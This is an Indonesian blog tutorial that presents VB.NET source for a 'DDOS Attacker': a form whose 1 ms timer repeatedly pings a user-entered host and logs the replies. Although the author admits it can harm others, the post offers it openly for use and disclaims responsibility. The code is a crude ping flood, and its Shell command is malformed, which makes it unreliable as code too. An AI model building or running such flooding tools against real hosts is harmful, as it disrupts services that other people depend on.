DDOS Attacker visual basic 2008/ vb.net

Tadinya saya tidak mau membuat program yang dapa merugikan orang lain seperti DDOS Attacker visual basic 2008/ vb.net namun setelah berfikir dalam waktu yang cukup lama akhirnya keputusan untuk membuat DDOS Attacker visual basic 2008/ vb.net ditentukan, mungkin software ini saya peruntukan hanya untuk orang yang ingin belajar mengembangkan Programing language saja, jadi kalau ada seseorang yang menggunakan ilmu atau pelajaran yang didapat dari blog ini untuk kepentingan pribadi saja, saya tidak akan dan tidak mau bertanggung jawab sama sekali.

Baiklah, sekarang bukalah Visual basic 2008 anda kemudian buatlah satu form dengan kmponen sebagai berikut:

• 1 label
• 1 textbox
• 2 button
• 1 listbox
• 1 Timer dengan ketentuan sebagai berikut:

            - Enabled= False
            - Interval = 1
            - Modifier = Friends

Lihat gambar dibawah:

 

Kemudian klik 2 kali formnya, hapus semua kode yang ada dan masukkan kode dibawah ini:

Imports System.Net
Public Class form1
    Dim pi As New System.Net.NetworkInformation.PingOptions
    Dim pipi As New System.Net.NetworkInformation.Ping
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Enabled = True
        Button2.Enabled = True
        Button1.Enabled = False

    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim host As IPHostEntry = Dns.GetHostByName(TextBox1.Text)
        Dim ip As IPAddress() = host.AddressList

        Shell("Ping " & (TextBox1.Text) & "-1" & "6500")
        pipi.Send(TextBox1.Text)
        Try
            ListBox1.Items.Add("Ping Reply From " & ip(0).ToString & " time=" & pipi.Send(TextBox1.Text).RoundtripTime & " TTL=" & pipi.Send(TextBox1.Text).Options.Ttl)
            ListBox1.SelectedIndex += 1

        Catch
            ListBox1.Items.Add("Timed Out")
            ListBox1.SelectedIndex += 1
        End Try
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Timer1.Enabled = False
        Button1.Enabled = True
        Button2.Enabled = False
    End Sub
End Class

 Lalu coba jalankan program yang sudah dibuat tersebut, maka hasilnya akan seperti gambar dibawah ini: